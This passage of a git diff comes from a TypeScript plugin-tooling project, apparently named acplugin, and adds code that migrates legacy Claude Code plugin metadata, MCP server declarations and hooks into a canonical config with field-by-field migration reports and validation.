outcome: 'unmapped', - reason: 'Instructions are outside the installable plugin boundary.', - }])); - } - - /** 是否至少自动迁移了一个安全远程 MCP,并需要启用官方 Extension。 */ - let usesMcp = false; - /** 同一配置文件中的 MCP key 使用名称补充逻辑来源,确保排序和冲突消歧稳定。 */ - const mcpSourcePath = scan.mcp === null ? undefined : relative(scan.rootDir, scan.mcp?.sourcePath ?? scan.rootDir); - /** MCP 使用自己的 namespace,显式 `foo-2` 不会被重复 `foo` 抢占。 */ - const servers = allocateMigrationIds((scan.mcp?.servers ?? []).map(server => ({ - value: server, - baseId: safeId(server.name), - sourcePath: `${mcpSourcePath ?? '.'}\0${server.name}`, - }))); - for (const allocated of servers) { - /** 当前已完成确定性 ID 分配的 Legacy MCP Server。 */ - const server = allocated.value; - /** 当前 MCP namespace 中唯一的最终 ID。 */ - const id = allocated.id; - /** 满足安全自动迁移条件时生成的类型化描述源码。 */ - const source = remoteMcpSource(server); - /** MCP 字段报告共同使用的旧配置相对路径。 */ - const sourcePath = relative(scan.rootDir, scan.mcp!.sourcePath); - if (source) { - /** 自动迁移的远程 MCP 类型化描述文件路径。 */ - const destination = `src/mcp/${id}/mcp.ts`; - await copyText(path.join(outputRoot, destination), source); - /** 安全远程 MCP 的全部声明字段。 */ - const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id - ? 'Server key maps directly to the canonical MCP ID.' - : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); - reportField(fields, 'transport', sourcePath, 'mapped', 'Remote HTTP transport maps to the canonical MCP descriptor.'); - reportField(fields, 'url', sourcePath, 'mapped', 'Credential-free HTTPS URL maps to the canonical MCP descriptor.'); - for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) { - reportField(fields, `headers.${name}`, sourcePath, 'mapped', name.toLowerCase() === 'authorization' - ? 'Environment-only Authorization maps to canonical bearer auth without reading the secret.' - : 'Environment-only header maps without reading the secret value.'); - } - items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); - usesMcp = true; - } else { - /** 无法自动迁移 MCP 的脱敏未映射记录路径。 */ - const destination = await unmapped(outputRoot, 'mcp', `${id}.json`, stableJson({ [server.name]: redactedMcpServer(server) })); - /** 无法自动迁移的 MCP 仍逐个报告实际存在字段,且不复制任何值。 */ - const fields: MigrationFieldDraft[] = []; - reportField(fields, 'name', sourcePath, ID_PATTERN.test(server.name) && server.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(server.name) && server.name === id - ? 'Server key maps to the migration record identity.' - : 'Server identity required lowercase kebab-case normalization or a deterministic collision suffix.'); - for (const field of ['command', 'args', 'type', 'url'] as const) { - if (server[field] !== undefined) { - reportField(fields, field, sourcePath, 'unmapped', 'This MCP field requires a complete canonical implementation or a supported safe remote declaration.'); - } - } - for (const name of Object.keys(server.env ?? {}).sort(compareCodeUnits)) - reportField(fields, `env.${name}`, sourcePath, 'unmapped', 'Local MCP environment mapping is preserved only in the redacted sidecar.'); - for (const name of Object.keys(server.headers ?? {}).sort(compareCodeUnits)) - reportField(fields, `headers.${name}`, sourcePath, 'unmapped', 'Unsafe or literal MCP header is preserved only as a redacted field name.'); - items.push(migrationItem({ kind: 'mcp', id, source: sourcePath, destination }, fields)); - } - } - - if (scan.hooks) { - /** 原始 Hooks 配置的未映射保留路径。 */ - const destination = await unmapped(outputRoot, 'hooks', 'hooks.json', stableJson({ hooks: scan.hooks })); - /** Legacy Scanner 保留的 Hooks 配置精确来源路径。 */ - const source = scan.hooksSourcePath === undefined ? '.' : relative(scan.rootDir, scan.hooksSourcePath); - /** 每个旧事件分别进入字段报告,避免聚合配置掩盖丢失范围。 */ - const fields = Object.keys(scan.hooks).sort(compareCodeUnits).map(event => ({ - field: `event:${event}`, source, destination, outcome: 'unmapped', - reason: 'Raw legacy Hook event requires manual typed handler migration.', - })); - items.push(migrationItem({ kind: 'hooks', id: 'hooks', source, destination }, fields)); - for (const reference of hookReferenceCandidates(scan.hooks)) - await copyHookReference(scan.rootDir, reference, outputRoot, items); - } - - for (const file of scan.pluginFiles) { - /** 当前未分类 Plugin 文件的隔离保留路径。 */ - const destination = await unmapped(outputRoot, 'plugin-files', file.relativePath, file.content); - items.push(migrationItem({ kind: 'plugin-file', id: file.relativePath, source: file.relativePath, destination }, [{ - field: 'content', source: file.relativePath, destination, outcome: 'unmapped', - reason: 'Unclassified plugin files are not published automatically.', - }])); - } - - /** 规范配置入口及按需追加的 Platform/Extension 导入。 */ - const imports = [ - `import { defineConfig } from '@tokenroll/acplugin';`, - `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, - ]; - if (usesMcp) - imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); - /** 按稳定顺序组成且只包含已知字段的最终配置行。 */ - const configLines = [ - 'export default defineConfig({', - ` name: ${JSON.stringify(metadata.name)},`, - ` version: ${JSON.stringify(metadata.version)},`, - ` description: ${JSON.stringify(metadata.description)},`, - ]; - if (metadata.displayName !== undefined) - configLines.push(` displayName: ${JSON.stringify(metadata.displayName)},`); - if (metadata.author !== undefined) - configLines.push(` author: ${JSON.stringify(metadata.author)},`); - if (metadata.homepage !== undefined) - configLines.push(` homepage: ${JSON.stringify(metadata.homepage)},`); - if (metadata.repository !== undefined) - configLines.push(` repository: ${JSON.stringify(metadata.repository)},`); - if (metadata.license !== undefined) - configLines.push(` license: ${JSON.stringify(metadata.license)},`); - if (metadata.keywords !== undefined) - configLines.push(` keywords: ${JSON.stringify(metadata.keywords)},`); - if (usesMcp) - configLines.push(' extensions: [mcp()],'); - configLines.push(' platforms: [claudeCode()],'); - configLines.push(' build: { strict: false },', '});'); - await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); - /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ - const devDependencies: Record = { - '@tokenroll/acplugin': publicPackageRange('@tokenroll/acplugin'), - '@tokenroll/acplugin-platform-claude-code': publicPackageRange('@tokenroll/acplugin-platform-claude-code'), - 'typescript': '^7.0.2', - '@types/node': '^20.19.0', - }; - if (usesMcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = publicPackageRange('@tokenroll/acplugin-extension-mcp'); - await copyText(path.join(outputRoot, 'package.json'), stableJson({ - name: metadata.name, - version: metadata.version, - private: true, - type: 'module', - packageManager: 'pnpm@10.34.5', - scripts: { validate: 'acplugin validate', inspect: 'acplugin inspect', build: 'acplugin build', typecheck: 'tsc --noEmit' }, - devDependencies, - })); - await copyText(path.join(outputRoot, 'tsconfig.json'), stableJson({ compilerOptions: { target: 'ES2022', module: 'NodeNext', moduleResolution: 'NodeNext', strict: true, noEmit: true, types: ['node'], skipLibCheck: true }, include: ['acplugin.config.ts', 'src/**/*.ts'] })); - await copyText(path.join(outputRoot, '.gitignore'), 'node_modules\ndist\n.acplugin-migration/unmapped/\n'); - - // 只有正式公开 Pipeline 能证明生成配置与实际 Extension/Platform 契约共同成立。 - return { items, diagnostics: await validateCanonicalProject(outputRoot, usesMcp, metadata) }; -} - /** * 验证最终目标尚不存在且位于旧来源树外。 * diff --git a/packages/acplugin/src/migration/metadata.ts b/packages/acplugin/src/migration/metadata.ts new file mode 100644 index 0000000..6041a3a --- /dev/null +++ b/packages/acplugin/src/migration/metadata.ts @@ -0,0 +1,335 @@ +/** Legacy 元数据到 canonical PluginMetadata 的逐字段规划。 */ +import path from 'node:path'; +import { input } from '@inquirer/prompts'; +import semver from 'semver'; +import parseSpdxExpression from 'spdx-expression-parse'; +import type { PluginMetadata } from '@acplugin/core'; +import type { PluginScanResult, ScanResult } from './legacy/types.js'; +import { compareCodeUnits, ID_PATTERN, safeId } from './ids.js'; +import type { MigrationFieldDraft, MigrationItem, MigrationOptions } from './types.js'; +import { migrationItem, reportField } from './writers/shared.js'; + +/** Plugin 作者邮件与 Core 配置保持一致的保守结构规则。 */ +const EMAIL_PATTERN = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + +/** 旧 JSON 中可枚举且不是数组的对象形态。 */ +function isRecord(value: unknown): value is Record { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 按 Core 规则把非空字符串去除首尾空白。 + * + * @param value 未经 Schema 验证的旧字段值。 + * @returns 可进入规范配置的字符串;类型或内容无效时返回 undefined。 + */ +function normalizedText(value: unknown): string | undefined { + return typeof value === 'string' && value.trim() !== '' ? value.trim() : undefined; +} + +/** + * 使用与 Core 一致的绝对 HTTP(S) URL 边界。 + * + * @param value 已去除首尾空白的 URL 候选。 + * @returns URL 具有 HTTP(S) 协议和主机名时返回 true。 + */ +function isHttpUrl(value: string): boolean { + try { + /** 标准 URL 解析结果用于拒绝相对路径和不完整主机名。 */ + const parsed = new URL(value); + return (parsed.protocol === 'http:' || parsed.protocol === 'https:') && parsed.hostname.length > 0; + } catch { + return false; + } +} + +/** + * 判断字符串是否为 Core 接受的 SPDX 许可表达式。 + * + * @param value 已去除首尾空白的许可候选。 + * @returns SPDX Parser 接受该完整表达式时返回 true。 + */ +function isSpdxExpression(value: string): boolean { + try { + parseSpdxExpression(value); + return true; + } catch { + return false; + } +} + +/** 统一元数据字段及其旧 interface 回退来源。 */ +interface MetadataCandidate { + /** 报告中保留的精确旧字段路径。 */ + readonly field: string; + /** 未经旧 Schema 校验的字段值。 */ + readonly value: unknown; + /** 该字段是否只能作为统一字段的回退来源。 */ + readonly fallback: boolean; +} + +/** + * 从一组优先级候选选择首个合法文本,并逐项报告所有实际来源。 + * + * @param fields 当前元数据资源的字段报告。 + * @param source 旧元数据清单相对路径。 + * @param candidates 主字段和 interface 回退字段的优先级列表。 + * @param label 不包含原始值的字段说明。 + * @param validate 对规范化文本执行的可选 Core 等价校验。 + * @returns 首个合法候选的规范化值。 + */ +function selectMetadataText( + fields: MigrationFieldDraft[], + source: string, + candidates: readonly MetadataCandidate[], + label: string, + validate: (value: string) => boolean = () => true, +): string | undefined { + /** 每个实际来源的规范化结果;undefined 表示无法自动映射。 */ + const normalized = candidates.map(candidate => candidate.value === undefined + ? undefined + : normalizedText(candidate.value)); + /** 首个同时满足文本和字段专属契约的来源索引。 */ + const selectedIndex = normalized.findIndex(value => value !== undefined && validate(value)); + /** 最终进入规范配置的字段值。 */ + const selected = selectedIndex < 0 ? undefined : normalized[selectedIndex]; + for (const [index, candidate] of candidates.entries()) { + if (candidate.value === undefined) + continue; + /** 当前来源去空白后的候选文本。 */ + const value = normalized[index]; + if (value === undefined || !validate(value)) { + reportField(fields, candidate.field, source, 'unmapped', `${label} did not satisfy the canonical metadata contract.`); + } else if (index === selectedIndex) { + /** 回退选择或字符串规范化都必须在总体报告中保持 degraded。 */ + const normalizedOrFallback = candidate.fallback || value !== candidate.value; + reportField(fields, candidate.field, source, normalizedOrFallback ? 'degraded' : 'mapped', normalizedOrFallback + ? `${label} required fallback selection or whitespace normalization.` + : `${label} maps directly to the corresponding top-level config field.`); + } else if (value === selected) { + reportField(fields, candidate.field, source, 'degraded', `${label} duplicates the selected source and was collapsed into one canonical field.`); + } else { + reportField(fields, candidate.field, source, 'unmapped', `${label} conflicts with the higher-priority source and cannot be represented separately.`); + } + } + return selected; +} + +/** + * 从旧 Plugin 元数据、CLI 参数或交互提示中确定规范工程元数据。 + * + * @param scan Legacy Scanner 结果。 + * @param options 迁移 CLI 选项。 + * @returns 已验证名称、版本、描述和可选展示名称。 + */ +export async function metadataFor(scan: ScanResult, options: MigrationOptions, items: MigrationItem[]): Promise { + /** 仅 Plugin/Marketplace 扫描结果携带的旧 Plugin 元数据。 */ + const plugin = 'meta' in scan ? scan as PluginScanResult : undefined; + /** Plugin 元数据来自清单;Project 的必填值来自 CLI 并以来源根表示。 */ + const source = plugin?.metadataSource ?? '.'; + /** 顶层元数据全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + /** 只有普通对象形态的 Marketplace interface 才能安全枚举回退字段。 */ + const pluginInterface = isRecord(plugin?.meta.interface) ? plugin.meta.interface : undefined; + if (plugin?.meta.interface !== undefined && pluginInterface === undefined) + reportField(fields, 'interface', source, 'unmapped', 'Marketplace interface was not an object.'); + + /** CLI 或旧元数据提供的原始名称候选。 */ + let rawName: unknown = options.name ?? plugin?.meta.name; + if (rawName === undefined && process.stdin.isTTY) + rawName = await input({ message: 'Plugin name', default: safeId(path.basename(scan.rootDir)) }); + if (rawName === undefined) + throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); + if (options.name !== undefined && !ID_PATTERN.test(options.name)) + throw new Error('Migration plugin name must be lowercase kebab-case.'); + /** 最终名称;旧名称可以安全规范化,显式 CLI 名称仍保持严格输入边界。 */ + const name = typeof rawName === 'string' && ID_PATTERN.test(rawName) + ? rawName + : safeId(typeof rawName === 'string' ? rawName : path.basename(scan.rootDir)); + reportField(fields, 'name', source, + typeof rawName === 'string' && ID_PATTERN.test(rawName) && (options.name === undefined || plugin?.meta.name === undefined || plugin.meta.name === rawName) + ? 'mapped' + : typeof rawName === 'string' ? 'degraded' : 'unmapped', + typeof rawName === 'string' && ID_PATTERN.test(rawName) + ? options.name !== undefined && plugin?.meta.name !== undefined && plugin.meta.name !== rawName + ? 'Explicit migration name overrides a different legacy identity.' + : 'Plugin identity maps to top-level config name.' + : typeof rawName === 'string' + ? 'Legacy identity required lowercase kebab-case normalization.' + : 'Invalid legacy identity required a directory-name fallback.'); + + /** 旧根描述及两个 Marketplace interface 回退字段。 */ + const descriptionCandidates: readonly MetadataCandidate[] = [ + { field: 'description', value: plugin?.meta.description, fallback: false }, + { field: 'interface.shortDescription', value: pluginInterface?.shortDescription, fallback: true }, + { field: 'interface.longDescription', value: pluginInterface?.longDescription, fallback: true }, + ]; + /** 未提供 CLI 覆盖时由旧字段优先级选出的描述。 */ + const legacyDescription = options.description === undefined + ? selectMetadataText(fields, source, descriptionCandidates, 'Description') + : undefined; + /** CLI 描述也按 Core 规则规范化,不允许空白字符串绕过。 */ + let description = normalizedText(options.description) ?? legacyDescription; + if (options.description !== undefined) { + if (description === undefined) + throw new Error('Migration description must be a non-empty string.'); + /** candidate 表示被显式 CLI 描述取代、但仍必须报告的旧来源字段。 */ + for (const candidate of descriptionCandidates) { + if (candidate.value === undefined) + continue; + /** 旧描述的规范化文本,用于区分无效输入与有意覆盖。 */ + const value = normalizedText(candidate.value); + reportField(fields, candidate.field, source, value === undefined ? 'unmapped' : 'degraded', value === undefined + ? 'Description did not satisfy the canonical metadata contract.' + : 'Explicit migration description superseded this legacy description source.'); + } + if (!plugin) + reportField(fields, 'description', source, description === options.description ? 'mapped' : 'degraded', description === options.description + ? 'Explicit description maps to top-level config description.' + : 'Explicit description required whitespace normalization.'); + } + if (description === undefined && process.stdin.isTTY) + description = normalizedText(await input({ message: 'Plugin description' })); + if (description === undefined) + throw new Error('Migration requires plugin name and description; pass --name and --description in non-interactive mode.'); + + /** npm SemVer 解析器与 Core 使用同一完整版本规则,包括 build metadata。 */ + const rawVersion = plugin?.meta.version as unknown; + /** 合法旧版本或明确记录降级后的稳定迁移默认版本。 */ + const version = typeof rawVersion === 'string' && semver.valid(rawVersion) ? rawVersion : '0.1.0'; + if (rawVersion !== undefined) { + reportField(fields, 'version', source, version === rawVersion ? 'mapped' : 'degraded', version === rawVersion + ? 'Semantic version maps directly to top-level config version.' + : 'Invalid legacy version required the 0.1.0 fallback.'); + } else { + reportField(fields, 'version', source, 'degraded', 'Missing legacy version required the 0.1.0 migration default.'); + } + + /** 展示名称优先保留根字段,Marketplace interface 只提供显式降级回退。 */ + const displayName = selectMetadataText(fields, source, [ + { field: 'displayName', value: plugin?.meta.displayName, fallback: false }, + { field: 'interface.displayName', value: pluginInterface?.displayName, fallback: true }, + ], 'Display name'); + + /** 旧 author 可能来自未经 Schema 校验的任意 JSON 值。 */ + const rawAuthor = plugin?.meta.author as unknown; + /** 只有根 author.name 合法时才允许组合其 email/url。 */ + const authorRecord = isRecord(rawAuthor) ? rawAuthor : undefined; + /** 根作者名称去空白后的候选。 */ + const rootAuthorName = normalizedText(authorRecord?.name); + /** Marketplace 展示层开发者名称只作为作者回退。 */ + const developerName = normalizedText(pluginInterface?.developerName); + /** 最终统一作者元数据。 */ + let author: PluginMetadata['author']; + if (rawAuthor !== undefined && authorRecord === undefined) + reportField(fields, 'author', source, 'unmapped', 'Author was not an object.'); + if (authorRecord !== undefined) { + if (authorRecord.name === undefined || rootAuthorName === undefined) { + reportField(fields, 'author.name', source, 'unmapped', 'Author name was not a non-empty string.'); + } else { + reportField(fields, 'author.name', source, rootAuthorName === authorRecord.name ? 'mapped' : 'degraded', rootAuthorName === authorRecord.name + ? 'Author name maps to top-level config author.name.' + : 'Author name required whitespace normalization.'); + } + /** 合法根身份下可以独立恢复的 email 与 URL。 */ + const authorDetails: { email?: string; url?: string } = {}; + for (const field of ['email', 'url'] as const) { + /** 当前作者详情字段未经验证的原始值。 */ + const rawValue = authorRecord[field]; + if (rawValue === undefined) + continue; + /** 去空白后的 email 或 URL。 */ + const value = normalizedText(rawValue); + /** 字段自身合法且具有可组合的作者身份时才写入。 */ + const valid = rootAuthorName !== undefined && value !== undefined + && (field === 'email' ? EMAIL_PATTERN.test(value) : isHttpUrl(value)); + if (valid) { + authorDetails[field] = value; + reportField(fields, `author.${field}`, source, value === rawValue ? 'mapped' : 'degraded', value === rawValue + ? `Author ${field} maps to top-level config author.${field}.` + : `Author ${field} required whitespace normalization.`); + } else { + reportField(fields, `author.${field}`, source, 'unmapped', `Author ${field} did not satisfy the canonical metadata contract.`); + } + } + /** key 表示旧 author 中当前无法识别的额外字段。 */ + for (const key of Object.keys(authorRecord).sort(compareCodeUnits)) { + if (!['name', 'email', 'url'].includes(key)) + reportField(fields, `author.${key}`, source, 'unmapped', 'Unknown author field has no canonical mapping.'); + } + if (rootAuthorName !== undefined) + author = { name: rootAuthorName, ...authorDetails }; + } + if (pluginInterface?.developerName !== undefined) { + if (developerName === undefined) { + reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name was not a non-empty string.'); + } else if (author === undefined) { + author = { name: developerName }; + reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name was used as the fallback canonical author.'); + } else if (author.name === developerName) { + reportField(fields, 'interface.developerName', source, 'degraded', 'Developer name duplicates author.name and was collapsed.'); + } else { + reportField(fields, 'interface.developerName', source, 'unmapped', 'Developer name conflicts with author.name and cannot be represented separately.'); + } + } + + /** URL 字段均按绝对 HTTP(S) 规则验证,interface website 只能降级回退。 */ + const homepage = selectMetadataText(fields, source, [ + { field: 'homepage', value: plugin?.meta.homepage, fallback: false }, + { field: 'interface.websiteURL', value: pluginInterface?.websiteURL, fallback: true }, + ], 'Homepage', isHttpUrl); + /** Repository 没有 interface 回退来源。 */ + const repository = selectMetadataText(fields, source, [ + { field: 'repository', value: plugin?.meta.repository, fallback: false }, + ], 'Repository', isHttpUrl); + /** License 使用真实 SPDX Parser,不以非空字符串冒充合法表达式。 */ + const license = selectMetadataText(fields, source, [ + { field: 'license', value: plugin?.meta.license, fallback: false }, + ], 'License', isSpdxExpression); + + /** Keywords 允许去空白和去重,但任何这种规范化都必须 degraded。 */ + const rawKeywords = plugin?.meta.keywords as unknown; + /** 只有结构有效时才写入配置的规范 keyword 列表。 */ + let keywords: readonly string[] | undefined; + if (rawKeywords !== undefined) { + if (!Array.isArray(rawKeywords) || rawKeywords.some(keyword => normalizedText(keyword) === undefined)) { + reportField(fields, 'keywords', source, 'unmapped', 'Keywords must be an array of non-empty strings.'); + } else { + /** 保持首次出现顺序的规范 keyword。 */ + const normalizedKeywords = rawKeywords.map(keyword => normalizedText(keyword)!); + /** 去重后的规范 keyword 数组。 */ + const uniqueKeywords = [...new Set(normalizedKeywords)]; + /** 去空白或重复折叠都会改变旧字段表示。 */ + const changed = uniqueKeywords.length !== normalizedKeywords.length + || normalizedKeywords.some((keyword, index) => keyword !== rawKeywords[index]); + keywords = uniqueKeywords; + reportField(fields, 'keywords', source, changed ? 'degraded' : 'mapped', changed + ? 'Keywords required whitespace normalization or duplicate removal.' + : 'Keywords map directly to the top-level config field.'); + } + } + + if (plugin?.meta.category !== undefined) + reportField(fields, 'category', source, 'unmapped', 'Platform-neutral metadata has no category field; configure it on a Platform factory.'); + if (plugin?.meta.apps !== undefined) + reportField(fields, 'apps', source, 'unmapped', 'Legacy apps are outside the acplugin 1.0 component contract.'); + /** field 表示当前没有统一元数据或安全自动映射的旧 interface 字段。 */ + for (const field of Object.keys(pluginInterface ?? {}).sort(compareCodeUnits)) { + if (!['displayName', 'shortDescription', 'longDescription', 'developerName', 'websiteURL'].includes(field)) + reportField(fields, `interface.${field}`, source, 'unmapped', 'The Marketplace interface field requires explicit Platform configuration.'); + } + /** 只写入通过逐字段校验的元数据,避免最终 Pipeline 退化为无字段信息的通用失败。 */ + const metadata: PluginMetadata = { + name, + version, + description, + ...(displayName === undefined ? {} : { displayName }), + ...(author === undefined ? {} : { author }), + ...(homepage === undefined ? {} : { homepage }), + ...(repository === undefined ? {} : { repository }), + ...(license === undefined ? {} : { license }), + keywords: keywords ?? [], + }; + items.push(migrationItem({ kind: 'metadata', id: name, source, destination: 'acplugin.config.ts' }, fields)); + return metadata; +} diff --git a/packages/acplugin/src/migration/types.ts b/packages/acplugin/src/migration/types.ts new file mode 100644 index 0000000..24de2b2 --- /dev/null +++ b/packages/acplugin/src/migration/types.ts @@ -0,0 +1,55 @@ +import type { Diagnostic } from '@acplugin/core'; + +/** 控制旧 Claude 工程、Plugin 或 Marketplace 到规范工程的迁移。 */ +export interface MigrationOptions { + cwd?: string; + source: string; + destination?: string; + subPath?: string; + plugin?: string; + all?: boolean; + name?: string; + description?: string; + dryRun?: boolean; + strict?: boolean; +} + +/** 单项旧资源的无损迁移、降级、未映射或跳过结论。 */ +export type MigrationOutcome = 'migrated' | 'degraded' | 'unmapped' | 'skipped'; + +/** 单个旧字段到规范字段的精确保真结论。 */ +export type MigrationFieldOutcome = 'mapped' | 'degraded' | 'unmapped'; + +/** 迁移报告中一个字段的来源、去向和脱敏结论。 */ +export interface MigrationField { + readonly field: string; + readonly source: string; + readonly destination: string; + readonly outcome: MigrationFieldOutcome; + readonly reason: string; +} + +/** 写入资源前暂存的字段结论;省略目标时才继承资源目标。 */ +export type MigrationFieldDraft = Omit & { readonly destination?: string }; + +/** 迁移报告中一项旧资源的处理结果与路径映射。 */ +export interface MigrationItem { + readonly kind: string; + readonly id: string; + readonly outcome: MigrationOutcome; + readonly source?: string; + readonly destination?: string; + readonly message?: string; + readonly fields: readonly MigrationField[]; +} + +/** `acplugin migrate` 返回并持久化的稳定机器可读报告。 */ +export interface MigrationReport { + readonly schemaVersion: '1'; + readonly sourceType: 'project' | 'plugin' | 'marketplace'; + readonly projects: readonly string[]; + readonly items: readonly MigrationItem[]; + readonly diagnostics: readonly Diagnostic[]; + readonly success: boolean; + readonly dryRun: boolean; +} diff --git a/packages/acplugin/src/migration/validation.ts b/packages/acplugin/src/migration/validation.ts new file mode 100644 index 0000000..96352da --- /dev/null +++ b/packages/acplugin/src/migration/validation.ts @@ -0,0 +1,240 @@ +/** Migration 生成工程的正式 Core lifecycle 验证适配。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { + defineConfig, + runProject, +} from '../index.js'; +import { + defineExtension, + definePlatform, + stableJson, + type Diagnostic, + type PluginMetadata, +} from '@acplugin/core'; +import { copyText } from './writers/shared.js'; + +/** 只在生成工程验证期间向临时 ESM 代理暴露真实公开 API 的全局键。 */ +const MIGRATION_VALIDATION_API = Symbol.for('tokenroll.acplugin.migration-validation-api'); + +/** 并发 Migration 共享同一组不可变公开 API 时用于延迟删除全局桥接。 */ +let activeValidationProxies = 0; + +/** + * 校验 Migration 生成的 plain MCP descriptor。 + * + * 这不是正式 MCP Extension 的替代实现;它只证明 Migration 自己写出的 TypeScript + * 可以由 Core Module Service 执行,正式语义仍由生成工程安装的官方 Extension 校验。 + * + * @param definition Migration 生成源码提交的远程 HTTP 描述。 + */ +function validateMigrationMcpServer(definition: unknown): void { + if (definition === null || typeof definition !== 'object' || Array.isArray(definition)) + throw new TypeError('Migration MCP descriptor must export an object.'); + /** 原型约束阻止 Migration 产物借助类实例携带隐藏行为。 */ + const prototype = Object.getPrototypeOf(definition); + if (prototype !== Object.prototype && prototype !== null) + throw new TypeError('Migration MCP descriptor must export a plain object.'); + /** descriptor 的最小安全字段视图。 */ + const candidate = definition as Record; + if (Object.getOwnPropertySymbols(candidate).length > 0 + || Object.values(Object.getOwnPropertyDescriptors(candidate)).some(descriptor => !('value' in descriptor))) + throw new TypeError('Migration MCP descriptor must not use symbols or accessors.'); + if (candidate.transport !== 'http' || typeof candidate.url !== 'string') + throw new TypeError('Migration MCP descriptor must use the remote HTTP transport.'); + /** Migration 只会自动生成无凭据的 HTTPS endpoint。 */ + const endpoint = new URL(candidate.url); + if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password) + throw new TypeError('Migration MCP descriptor must use a credential-free HTTPS URL.'); +} + +/** Migration 提交前验证使用的无产物 Platform,不包含任何官方 Platform 逻辑。 */ +const migrationValidationPlatform = definePlatform({ + // Migration may preserve verified Claude-specific fields, so Scanner must see the target ID. + id: 'claude-code', + apiVersion: '1', + deliveryType: 'plugin', + /** Migration 验证使用完整 v2 Session,但不实现任何官方 Platform 转换。 */ + createSession: () => ({ + /** 只声明 Scanner 已接受的 Component 与 metadata,不产生候选 Asset。 */ + createPackage: ({ project }) => ({ + documents: [], + assets: [], + compatibility: [...project.commands, ...project.skills, ...project.agents].map(component => ({ + subject: `${component.kind}:${component.id}`, + capability: 'component', + level: 'native' as const, + reason: 'The migration validation Platform accepts canonical resources.', + })), + metadata: [ + 'name', 'version', 'description', + ...(project.metadata.displayName === undefined ? [] : ['displayName']), + ...(project.metadata.author === undefined + ? [] + : [ + 'author.name', + ...(project.metadata.author.email === undefined ? [] : ['author.email']), + ...(project.metadata.author.url === undefined ? [] : ['author.url']), + ]), + ...(project.metadata.homepage === undefined ? [] : ['homepage']), + ...(project.metadata.repository === undefined ? [] : ['repository']), + ...(project.metadata.license === undefined ? [] : ['license']), + ...(project.metadata.keywords.length === 0 ? [] : ['keywords']), + ].map(field => ({ + field, + disposition: 'emitted' as const, + output: `manifest/${field.replaceAll('.', '/')}`, + reason: 'The migration validation Platform accepts this metadata field.', + })), + }), + /** 使用固定主 Package 身份完成正式 lifecycle。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** Migration 私有 Platform 没有额外候选格式规则。 */ + validatePackage: () => undefined, + }), +}); + +/** Migration 提交前执行自己生成的 MCP descriptor,并声明 mcp root 所有权。 */ +const migrationValidationMcp = defineExtension({ + id: 'migration-validation-mcp', + apiVersion: '1', + resourceRoots: ['mcp'], + /** 每轮验证创建隔离的 descriptor Module Session。 */ + createSession: () => ({ + /** 通过 v2 SourceRef/ModuleService fresh evaluate 每个生成 descriptor。 */ + async discover({ roots, sources, modules }) { + /** 配置声明的 mcp root 是当前 Extension 唯一可读来源。 */ + const root = roots.mcp; + if (root === undefined) + return undefined; + /** mcp root 只接受一层稳定 Server 目录。 */ + const entries = await sources.list(root); + /** count 只用于证明所有 descriptor 均已通过执行验证。 */ + let count = 0; + for (const entry of entries) { + if (entry.type !== 'directory') + throw new TypeError('Migration MCP entries must be directories.'); + /** 每个 Server 目录的固定作者入口。 */ + const descriptor = await sources.file(entry.directory, 'mcp.ts'); + /** 默认导出必须跨越正式 Module Host 数据边界。 */ + const value = await modules.loadDefault({ id: entry.name, entry: descriptor }); + validateMigrationMcpServer(value); + count += 1; + } + return Object.freeze({ count }); + }, + /** Migration descriptor 没有 Platform delivery subject,只验证模块本身。 */ + validate: (_context, discovered) => ({ state: discovered, subjects: [] }), + /** 无 Contributor 时 Core 会跳过 build;该方法只满足完整 Session contract。 */ + build: (_context, validated) => ({ state: validated }), + contributors: [], + }), +}); + +/** 临时代理读取的主包与 Migration 私有验证 API。 */ +interface MigrationValidationApi { + /** 生成配置使用的公开恒等辅助函数。 */ + readonly defineConfig: typeof defineConfig; + /** 不生成产物、只驱动正式 Core Scanner 的 Migration 私有 Platform。 */ + readonly migrationValidationPlatform: typeof migrationValidationPlatform; + /** 只通过 v2 Module Service 验证 Migration 生成 MCP descriptor 的私有 Extension。 */ + readonly migrationValidationMcp: typeof migrationValidationMcp; +} + +/** + * 用正式公开 API 加载并验证刚生成、尚未提交的规范工程。 + * + * 生成工程尚未安装 package.json 依赖,因此验证期间创建只存在于 stage 的 ESM 代理。 + * 代理不实现任何规则,只把配置和 descriptor 导向当前进程已经加载的真实主包与 MCP + * Extension;验证后整个 node_modules 会在提交前删除。 + * + * @param outputRoot 单个迁移后规范工程的阶段目录。 + * @param usesMcp 工程是否需要正式 MCP Extension 参与 discover/validate。 + * @returns 公开 runProject() 返回的完整结构化诊断。 + */ +export async function validateCanonicalProject( + outputRoot: string, + usesMcp: boolean, + metadata: PluginMetadata, +): Promise { + /** 只供本次配置和 descriptor 加载解析包名的临时依赖根。 */ + const nodeModules = path.join(outputRoot, 'node_modules'); + /** 最终生成配置在验证期间由等价元数据的私有验证配置暂时替代。 */ + const configPath = path.join(outputRoot, 'acplugin.config.ts'); + /** 验证后必须恢复的最终用户配置文本。 */ + const generatedConfig = await fs.readFile(configPath, 'utf8'); + /** 全局桥接不暴露 Core Registry,也不引用或内联任何官方集成实现。 */ + const api: MigrationValidationApi = Object.freeze({ + defineConfig, + migrationValidationPlatform, + migrationValidationMcp, + }); + Reflect.set(globalThis, MIGRATION_VALIDATION_API, api); + activeValidationProxies += 1; + try { + /** 临时主包代理由生成的 